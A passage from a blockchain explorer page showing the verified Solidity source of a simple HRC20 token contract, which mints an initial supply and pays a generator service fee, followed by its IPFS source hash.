        return _VERSION;
    }
}

// File: contracts/token/HRC20/SimpleHRC20.sol



pragma solidity ^0.7.0;





contract SimpleHRC20 is HRC20, ServicePayer, GeneratorCopyright {

    constructor (
        string memory name,
        string memory symbol,
        uint256 initialBalance,
        address payable feeReceiver
    ) HRC20(name, symbol) ServicePayer(feeReceiver, "SimpleHRC20") payable {
        require(initialBalance > 0, "SimpleHRC20: supply cannot be zero");

        _mint(_msgSender(), initialBalance);
    }
}

Contract ABI

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Swarm Source

ipfs://3876d293e0bec199ba5c0752151eae6414a91e57ba3024cda170832524b0b687
Block Transaction Gas Used Reward
Age Block Fee Address Jailed Incoming
Block Uncle Number Difficulty Gas Used Reward
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